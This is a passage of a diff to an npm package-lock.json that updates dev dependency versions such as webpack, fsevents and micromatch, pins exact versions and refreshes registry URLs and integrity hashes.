"sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } } } }, "fsevents": { - "version": "1.2.4", - "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-1.2.4.tgz", - "integrity": "sha512-z8H8/diyk76B7q5wg+Ud0+CqzcAF3mBBI/bA5ne5zrRUUIvNkJY//D3BqyH571KuAC4Nr7Rw7CjWX4r0y9DvNg==", + "version": "1.2.9", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-1.2.9.tgz", + "integrity": "sha512-oeyj2H3EjjonWcFjD5NvZNE9Rqe4UW+nQBU2HNeKw0koVLEFIhtyETyAakeAM3de7Z/SW5kcA+fZUait9EApnw==", "dev": true, "optional": true, "requires": { - "nan": "^2.9.2", - "node-pre-gyp": "^0.10.0" + "nan": "2.14.0", + "node-pre-gyp": "0.12.0" }, "dependencies": { "abbrev": { @@ -17593,8 +19291,7 @@ "ansi-regex": { "version": "2.1.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "aproba": { "version": "1.2.0", @@ -17603,7 +19300,7 @@ "optional": true }, "are-we-there-yet": { - "version": "1.1.4", + "version": "1.1.5", "bundled": true, "dev": true, "optional": true, @@ -17615,21 +19312,19 @@ "balanced-match": { "version": "1.0.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "brace-expansion": { "version": "1.1.11", "bundled": true, "dev": true, - "optional": true, "requires": { "balanced-match": "1.0.0", "concat-map": "0.0.1" } }, "chownr": { - "version": "1.0.1", + "version": "1.1.1", "bundled": true, "dev": true, "optional": true @@ -17637,20 +19332,17 @@ "code-point-at": { "version": "1.1.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "concat-map": { "version": "0.0.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "console-control-strings": { "version": "1.1.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "core-util-is": { "version": "1.0.2", @@ -17659,16 +19351,16 @@ "optional": true }, "debug": { - "version": "2.6.9", + "version": "4.1.1", "bundled": true, "dev": true, "optional": true, "requires": { - "ms": "2.0.0" + "ms": "2.1.1" } }, "deep-extend": { - "version": "0.5.1", + "version": "0.6.0", "bundled": true, "dev": true, "optional": true @@ -17691,7 +19383,7 @@ "dev": true, "optional": true, "requires": { - "minipass": "2.2.4" + "minipass": "2.3.5" } }, "fs.realpath": { @@ -17713,11 +19405,11 @@ "signal-exit": "3.0.2", "string-width": "1.0.2", "strip-ansi": "3.0.1", - "wide-align": "1.1.2" + "wide-align": "1.1.3" } }, "glob": { - "version": "7.1.2", + "version": "7.1.3", "bundled": true, "dev": true, "optional": true, @@ -17737,7 +19429,7 @@ "optional": true }, "iconv-lite": { - "version": "0.4.21", + "version": "0.4.24", "bundled": true, "dev": true, "optional": true, @@ -17767,8 +19459,7 @@ "inherits": { "version": "2.0.3", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "ini": { "version": "1.3.5", @@ -17780,7 +19471,6 @@ "version": "1.0.0", "bundled": true, "dev": true, - "optional": true, "requires": { "number-is-nan": "1.0.1" } @@ -17795,7 +19485,6 @@ "version": "3.0.4", "bundled": true, "dev": true, - "optional": true, "requires": { "brace-expansion": "1.1.11" } @@ -17803,70 +19492,67 @@ "minimist": { "version": "0.0.8", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "minipass": { - "version": "2.2.4", + "version": "2.3.5", "bundled": true, "dev": true, - "optional": true, "requires": { - "safe-buffer": "5.1.1", - "yallist": "3.0.2" + "safe-buffer": "5.1.2", + "yallist": "3.0.3" } }, "minizlib": { - "version": "1.1.0", + "version": "1.2.1", "bundled": true, "dev": true, "optional": true, "requires": { - "minipass": "2.2.4" + "minipass": "2.3.5" } }, "mkdirp": { "version": "0.5.1", "bundled": true, "dev": true, - "optional": true, "requires": { "minimist": "0.0.8" } }, "ms": { - "version": "2.0.0", + "version": "2.1.1", "bundled": true, "dev": true, "optional": true }, "needle": { - "version": "2.2.0", + "version": "2.3.0", "bundled": true, "dev": true, "optional": true, "requires": { - "debug": "2.6.9", - "iconv-lite": "0.4.21", + "debug": "4.1.1", + "iconv-lite": "0.4.24", "sax": "1.2.4" } }, "node-pre-gyp": { - "version": "0.10.0", + "version": "0.12.0", "bundled": true, "dev": true, "optional": true, "requires": { "detect-libc": "1.0.3", "mkdirp": "0.5.1", - "needle": "2.2.0", + "needle": "2.3.0", "nopt": "4.0.1", - "npm-packlist": "1.1.10", + "npm-packlist": "1.4.1", "npmlog": "4.1.2", - "rc": "1.2.7", - "rimraf": "2.6.2", - "semver": "5.5.0", - "tar": "4.4.1" + "rc": "1.2.8", + "rimraf": "2.6.3", + "semver": "5.7.0", + "tar": "4.4.8" } }, "nopt": { @@ -17880,19 +19566,19 @@ } }, "npm-bundled": { - "version": "1.0.3", + "version": "1.0.6", "bundled": true, "dev": true, "optional": true }, "npm-packlist": { - "version": "1.1.10", + "version": "1.4.1", "bundled": true, "dev": true, "optional": true, "requires": { "ignore-walk": "3.0.1", - "npm-bundled": "1.0.3" + "npm-bundled": "1.0.6" } }, "npmlog": { @@ -17901,7 +19587,7 @@ "dev": true, "optional": true, "requires": { - "are-we-there-yet": "1.1.4", + "are-we-there-yet": "1.1.5", "console-control-strings": "1.1.0", "gauge": "2.7.4", "set-blocking": "2.0.0" @@ -17910,8 +19596,7 @@ "number-is-nan": { "version": "1.0.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "object-assign": { "version": "4.1.1", @@ -17923,7 +19608,6 @@ "version": "1.4.0", "bundled": true, "dev": true, - "optional": true, "requires": { "wrappy": "1.0.2" } @@ -17963,12 +19647,12 @@ "optional": true }, "rc": { - "version": "1.2.7", + "version": "1.2.8", "bundled": true, "dev": true, "optional": true, "requires": { - "deep-extend": "0.5.1", + "deep-extend": "0.6.0", "ini": "1.3.5", "minimist": "1.2.0", "strip-json-comments": "2.0.1" @@ -17992,25 +19676,24 @@ "inherits": "2.0.3", "isarray": "1.0.0", "process-nextick-args": "2.0.0", - "safe-buffer": "5.1.1", + "safe-buffer": "5.1.2", "string_decoder": "1.1.1", "util-deprecate": "1.0.2" } }, "rimraf": { - "version": "2.6.2", + "version": "2.6.3", "bundled": true, "dev": true, "optional": true, "requires": { - "glob": "7.1.2" + "glob": "7.1.3" } }, "safe-buffer": { - "version": "5.1.1", + "version": "5.1.2", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "safer-buffer": { "version": "2.1.2", @@ -18025,7 +19708,7 @@ "optional": true }, "semver": { - "version": "5.5.0", + "version": "5.7.0", "bundled": true, "dev": true, "optional": true @@ -18046,7 +19729,6 @@ "version": "1.0.2", "bundled": true, "dev": true, - "optional": true, "requires": { "code-point-at": "1.1.0", "is-fullwidth-code-point": "1.0.0", @@ -18059,14 +19741,13 @@ "dev": true, "optional": true, "requires": { - "safe-buffer": "5.1.1" + "safe-buffer": "5.1.2" } }, "strip-ansi": { "version": "3.0.1", "bundled": true, "dev": true, - "optional": true, "requires": { "ansi-regex": "2.1.1" } @@ -18078,18 +19759,18 @@ "optional": true }, "tar": { - "version": "4.4.1", + "version": "4.4.8", "bundled": true, "dev": true, "optional": true, "requires": { - "chownr": "1.0.1", + "chownr": "1.1.1", "fs-minipass": "1.2.5", - "minipass": "2.2.4", - "minizlib": "1.1.0", + "minipass": "2.3.5", + "minizlib": "1.2.1", "mkdirp": "0.5.1", - "safe-buffer": "5.1.1", - "yallist": "3.0.2" + "safe-buffer": "5.1.2", + "yallist": "3.0.3" } }, "util-deprecate": { @@ -18099,7 +19780,7 @@ "optional": true }, "wide-align": { - "version": "1.1.2", + "version": "1.1.3", "bundled": true, "dev": true, "optional": true, @@ -18110,14 +19791,12 @@ "wrappy": { "version": "1.0.2", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "yallist": { - "version": "3.0.2", + "version": "3.0.3", "bundled": true, - "dev": true, - "optional": true + "dev": true } } }, @@ -18127,8 +19806,8 @@ "integrity": "sha1-nmr2KZ2NO9K9QEMIMr0RPfkGxa4=", "dev": true, "requires": { - "is-glob": "^3.1.0", - "path-dirname": "^1.0.0" + "is-glob": "3.1.0", + "path-dirname": "1.0.2" }, "dependencies": { "is-glob": { @@ -18137,7 +19816,7 @@ "integrity": "sha1-e6WuJCF4BKxwcHuWkiVnSGzD6Eo=", "dev": true, "requires": { - "is-extglob": "^2.1.0" + "is-extglob": "2.1.1" } } } @@ -18148,7 +19827,7 @@ "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", "dev": true, "requires": { - "kind-of": "^6.0.0" + "kind-of": "6.0.2" } }, "is-data-descriptor": { @@ -18157,7 +19836,7 @@ "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", "dev": true, "requires": { - "kind-of": "^6.0.0" + "kind-of": "6.0.2" } }, "is-descriptor": { @@ -18166,9 +19845,9 @@ "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", "dev": true, "requires": { - "is-accessor-descriptor": "^1.0.0", - "is-data-descriptor": "^1.0.0", - "kind-of": "^6.0.2" + "is-accessor-descriptor": "1.0.0", + "is-data-descriptor": "1.0.0", + "kind-of": "6.0.2" } }, "is-extglob": { @@ -18178,12 +19857,12 @@ "dev": true }, "is-glob": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.0.tgz", - "integrity": "sha1-lSHHaEXMJhCoUgPd8ICpWML/q8A=", + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.1.tgz", + "integrity": "sha512-5G0tKtBTFImOqDnLB2hG6Bp2qcKEFduo4tZu9MT/H6NQv/ghhy30o55ufafxJ/LdH79LLs2Kfrn85TLKyA7BUg==", "dev": true, "requires": { - "is-extglob": "^2.1.1" + "is-extglob": "2.1.1" } }, "is-number": { @@ -18192,7 +19871,7 @@ "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", "dev": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" }, "dependencies": { "kind-of": { @@ -18201,11 +19880,17 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "^1.1.5" + "is-buffer": "1.1.5" } } } }, + "isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", + "dev": true + }, "isobject": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", @@ -18224,27 +19909,74 @@ "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", "dev": true, "requires": { - "arr-diff": "^4.0.0", - "array-unique": "^0.3.2", - "braces": "^2.3.1", - "define-property": "^2.0.2", - "extend-shallow": "^3.0.2", - "extglob": "^2.0.4", - "fragment-cache": "^0.2.1", - "kind-of": "^6.0.2", - "nanomatch": "^1.2.9", - "object.pick": "^1.3.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.2" + "arr-diff": "4.0.0", + "array-unique": "0.3.2", + "braces": "2.3.2", + "define-property": "2.0.2", + "extend-shallow": "3.0.2", + "extglob": "2.0.4", + "fragment-cache": "0.2.1", + "kind-of": "6.0.2", + "nanomatch": "1.2.13", + "object.pick": "1.3.0", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" } }, "nan": { - "version": "2.11.1", - "resolved": "https://registry.npmjs.org/nan/-/nan-2.11.1.tgz", - "integrity": "sha512-iji6k87OSXa0CcrLl9z+ZiYSuR2o+c0bGuNmXdrhTQTakxytAFsC56SArGYoiHlJlFoHSnvmhpceZJaXkVuOtA==", + "version": "2.14.0", + "resolved": "https://registry.npmjs.org/nan/-/nan-2.14.0.tgz", + "integrity": "sha512-INOFj37C7k3AfaNTtX8RhsTw7qRy7eLET14cROi9+5HAVbbHuIWUHEauBv5qT4Av2tWasiTY1Jw6puUNqRJXQg==", "dev": true, "optional": true + }, + "normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "dev": true + }, + "process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", + "dev": true + }, + "readable-stream": { + "version": "2.3.6", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", + "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", + "dev": true, + "requires": { + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.1", + "safe-buffer": "5.1.1", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" + } + }, + "readdirp": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-2.2.1.tgz", + "integrity": "sha512-1JU/8q+VgFZyxwrJ+SVIOsh+KywWGpds3NTqikiKpDMZWScmAYyKIgqkO+ARvNWJfXeXR1zxz7aHF4u4CyH6vQ==", + "dev": true, + "requires": { + "graceful-fs": "4.1.11", + "micromatch": "3.1.10", + "readable-stream": "2.3.6" + } + }, + "string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "requires": { + "safe-buffer": "5.1.1" + } } } }, @@ -18254,41 +19986,58 @@ "integrity": "sha512-O84QOnr0icsbFGLS0O3bI5FswxzRr8/gHwWkDlQFskhSPryQXvrTMxjxGP4+iWYoauLoBvfDpkrOauZ+0iZpDA==", "dev": true, "requires": { - "minimalistic-assert": "^1.0.0" + "minimalistic-assert": "1.0.1" } }, "webpack": { - "version": "4.20.2", - "resolved": "https://registry.npmjs.org/webpack/-/webpack-4.20.2.tgz", - "integrity": "sha512-75WFUMblcWYcocjSLlXCb71QuGyH7egdBZu50FtBGl2Nso8CK3Ej+J7bTZz2FPFq5l6fzCisD9modB7t30ikuA==", + "version": "4.41.2", + "resolved": "https://registry.npmjs.org/webpack/-/webpack-4.41.2.tgz", + "integrity": "sha512-Zhw69edTGfbz9/8JJoyRQ/pq8FYUoY0diOXqW0T6yhgdhCv6wr0hra5DwwWexNRns2Z2+gsnrNcbe9hbGBgk/A==", "dev": true, "requires": { - "@webassemblyjs/ast": "1.7.8", - "@webassemblyjs/helper-module-context": "1.7.8", - "@webassemblyjs/wasm-edit": "1.7.8", - "@webassemblyjs/wasm-parser": "1.7.8", - "acorn": "^5.6.2", - "acorn-dynamic-import": "^3.0.0", - "ajv": "^6.1.0", - "ajv-keywords": "^3.1.0", - "chrome-trace-event": "^1.0.0", - "enhanced-resolve": "^4.1.0", - "eslint-scope": "^4.0.0", - "json-parse-better-errors": "^1.0.2", - "loader-runner": "^2.3.0", - "loader-utils": "^1.1.0", - "memory-fs": "~0.4.1", - "micromatch": "^3.1.8", - "mkdirp": "~0.5.0", - "neo-async": "^2.5.0", - "node-libs-browser": "^2.0.0", - "schema-utils": "^0.4.4", - "tapable": "^1.1.0", - "uglifyjs-webpack-plugin": "^1.2.4", - "watchpack": "^1.5.0", - "webpack-sources": "^1.3.0" + "@webassemblyjs/ast": "1.8.5", + "@webassemblyjs/helper-module-context": "1.8.5", + "@webassemblyjs/wasm-edit": "1.8.5", + "@webassemblyjs/wasm-parser": "1.8.5", + "acorn": "6.3.0", + "ajv": "6.10.2", + "ajv-keywords": "3.4.1", + "chrome-trace-event": "1.0.2", + "enhanced-resolve": "4.1.1", + "eslint-scope": "4.0.3", + "json-parse-better-errors": "1.0.2", + "loader-runner": "2.4.0", + "loader-utils": "1.2.3", + "memory-fs": "0.4.1", + "micromatch": "3.1.10", + "mkdirp": "0.5.1", + "neo-async": "2.6.1", + "node-libs-browser": "2.2.1", + "schema-utils": "1.0.0", + "tapable": "1.1.3", + "terser-webpack-plugin": "1.4.1", + "watchpack": "1.6.0", + "webpack-sources": "1.4.3" }, "dependencies": { + "ajv": { + "version": "6.10.2", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.10.2.tgz", + "integrity": "sha512-TXtUUEYHuaTEbLZWIKUr5pmBuhDLy+8KYtPYdcV8qC+pOZL+NKqYwvWSRrVXHn+ZmRRAu8vJTAznH7Oag6RVRw==", + "dev": true, + "requires": { + "fast-deep-equal": "2.0.1", + "fast-json-stable-stringify": "2.0.0", + "json-schema-traverse": "0.4.1", + "uri-js": "4.2.2" + } + }, + "ajv-keywords": { + "version": "3.4.1", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.4.1.tgz", + "integrity": "sha512-RO1ibKvd27e6FEShVFfPALuHI3WjSVNeK5FIsmme/LYRNxjKuNj+Dt7bucLa6NdSv3JcVTyMlm9kGR84z1XpaQ==", + "dev": true + }, "arr-diff": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz", @@ -18301,22 +20050,28 @@ "integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=", "dev": true }, + "big.js": { + "version": "5.2.2", + "resolved": "https://registry.npmjs.org/big.js/-/big.js-5.2.2.tgz", + "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==", + "dev": true + }, "braces": { "version": "2.3.2", "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz", "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", "dev": true, "requires": { - "arr-flatten": "^1.1.0", - "array-unique": "^0.3.2", - "extend-shallow": "^2.0.1", - "fill-range": "^4.0.0", - "isobject": "^3.0.1", - "repeat-element": "^1.1.2", - "snapdragon": "^0.8.1", - "snapdragon-node": "^2.0.1", - "split-string": "^3.0.2", - "to-regex": "^3.0.1" + "arr-flatten": "1.1.0", + "array-unique": "0.3.2", + "extend-shallow": "2.0.1", + "fill-range": "4.0.0", + "isobject": "3.0.1", + "repeat-element": "1.1.2", + "snapdragon": "0.8.2", + "snapdragon-node": "2.1.1", + "split-string": "3.1.0", + "to-regex": "3.0.2" }, "dependencies": { "extend-shallow": { @@ -18325,19 +20080,19 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } } } }, "eslint-scope": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-4.0.0.tgz", - "integrity": "sha512-1G6UTDi7Jc1ELFwnR58HV4fK9OQK4S6N985f166xqXxpjU6plxFISJa2Ba9KCQuFa8RCnj/lSFJbHo7UFDBnUA==", + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-4.0.3.tgz", + "integrity": "sha512-p7VutNr1O/QrxysMo3E45FjYDTeXBy0iTltPFNSqKAIfjDSXC+4dj+qfyuD8bfAXrW/y6lW3O76VaYNPKfpKrg==", "dev": true, "requires": { - "esrecurse": "^4.1.0", - "estraverse": "^4.1.1" + "esrecurse": "4.2.1", + "estraverse": "4.2.0" } }, "expand-brackets": { @@ -18346,13 +20101,13 @@ "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", "dev": true, "requires": { - "debug": "^2.3.3", - "define-property": "^0.2.5", - "extend-shallow": "^2.0.1", - "posix-character-classes": "^0.1.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" + "debug": "2.6.8", + "define-property": "0.2.5", + "extend-shallow": "2.0.1", + "posix-character-classes": "0.1.1", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" }, "dependencies": { "define-property": { @@ -18361,7 +20116,7 @@ "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", "dev": true, "requires": { - "is-descriptor": "^0.1.0" + "is-descriptor": "0.1.6" } }, "extend-shallow": { @@ -18370,7 +20125,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } }, "is-accessor-descriptor": { @@ -18379,7 +20134,7 @@ "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", "dev": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" }, "dependencies": { "kind-of": { @@ -18388,7 +20143,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "^1.1.5" + "is-buffer": "1.1.5" } } } @@ -18399,7 +20154,7 @@ "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", "dev": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" }, "dependencies": { "kind-of": { @@ -18408,7 +20163,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "^1.1.5" + "is-buffer": "1.1.5" } } } @@ -18419,9 +20174,9 @@ "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", "dev": true, "requires": { - "is-accessor-descriptor": "^0.1.6", - "is-data-descriptor": "^0.1.4", - "kind-of": "^5.0.0" + "is-accessor-descriptor": "0.1.6", + "is-data-descriptor": "0.1.4", + "kind-of": "5.1.0" } }, "kind-of": { @@ -18438,14 +20193,14 @@ "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", "dev": true, "requires": { - "array-unique": "^0.3.2", - "define-property": "^1.0.0", - "expand-brackets": "^2.1.4", - "extend-shallow": "^2.0.1", - "fragment-cache": "^0.2.1", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" + "array-unique": "0.3.2", + "define-property": "1.0.0", + "expand-brackets": "2.1.4", + "extend-shallow": "2.0.1", + "fragment-cache": "0.2.1", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" }, "dependencies": { "define-property": { @@ -18454,7 +20209,7 @@ "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", "dev": true, "requires": { - "is-descriptor": "^1.0.0" + "is-descriptor": "1.0.2" } }, "extend-shallow": { @@ -18463,21 +20218,27 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } } } }, + "fast-deep-equal": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-2.0.1.tgz", + "integrity": "sha1-ewUhjd+WZ79/Nwv3/bLLFf3Qqkk=", + "dev": true + }, "fill-range": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz", "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", "dev": true, "requires": { - "extend-shallow": "^2.0.1", - "is-number": "^3.0.0", - "repeat-string": "^1.6.1", - "to-regex-range": "^2.1.0" + "extend-shallow": "2.0.1", + "is-number": "3.0.0", + "repeat-string": "1.6.1", + "to-regex-range": "2.1.1" }, "dependencies": { "extend-shallow": { @@ -18486,7 +20247,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } } } @@ -18497,7 +20258,7 @@ "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", "dev": true, "requires": { - "kind-of": "^6.0.0" + "kind-of": "6.0.2" } }, "is-data-descriptor": { @@ -18506,7 +20267,7 @@ "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", "dev": true, "requires": { - "kind-of": "^6.0.0" + "kind-of": "6.0.2" } }, "is-descriptor": { @@ -18515,9 +20276,9 @@ "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", "dev": true, "requires": { - "is-accessor-descriptor": "^1.0.0", - "is-data-descriptor": "^1.0.0", - "kind-of": "^6.0.2" + "is-accessor-descriptor": "1.0.0", + "is-data-descriptor": "1.0.0", + "kind-of": "6.0.2" } }, "is-number": { @@ -18526,7 +20287,7 @@ "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", "dev": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" }, "dependencies": { "kind-of": { @@ -18535,7 +20296,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "^1.1.5" + "is-buffer": "1.1.5" } } } @@ -18546,6 +20307,21 @@ "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", "dev": true }, + "json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", + "dev": true + }, + "json5": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz", + "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==", + "dev": true, + "requires": { + "minimist": "1.2.0" + } + }, "kind-of": { "version": "6.0.2", "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", @@ -18553,14 +20329,14 @@ "dev": true }, "loader-utils": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.1.0.tgz", - "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=", + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.2.3.tgz", + "integrity": "sha512-fkpz8ejdnEMG3s37wGL07iSBDg99O9D5yflE9RGNH3hRdx9SOwYfnGYdZOUIZitN8E+E2vkq3MUMYMvPYl5ZZA==", "dev": true, "requires": { - "big.js": "^3.1.3", - "emojis-list": "^2.0.0", - "json5": "^0.5.0" + "big.js": "5.2.2", + "emojis-list": "2.1.0", + "json5": "1.0.1" } }, "micromatch": { @@ -18569,51 +20345,63 @@ "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", "dev": true, "requires": { - "arr-diff": "^4.0.0", - "array-unique": "^0.3.2", - "braces": "^2.3.1", - "define-property": "^2.0.2", - "extend-shallow": "^3.0.2", - "extglob": "^2.0.4", - "fragment-cache": "^0.2.1", - "kind-of": "^6.0.2", - "nanomatch": "^1.2.9", - "object.pick": "^1.3.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.2" + "arr-diff": "4.0.0", + "array-unique": "0.3.2", + "braces": "2.3.2", + "define-property": "2.0.2", + "extend-shallow": "3.0.2", + "extglob": "2.0.4", + "fragment-cache": "0.2.1", + "kind-of": "6.0.2", + "nanomatch": "1.2.13", + "object.pick": "1.3.0", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" + } + }, + "schema-utils": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-1.0.0.tgz", + "integrity": "sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==", + "dev": true, + "requires": { + "ajv": "6.10.2", + "ajv-errors": "1.0.0", + "ajv-keywords": "3.4.1" } }, "tapable": { - "version": "1.1.0", - "resolved": 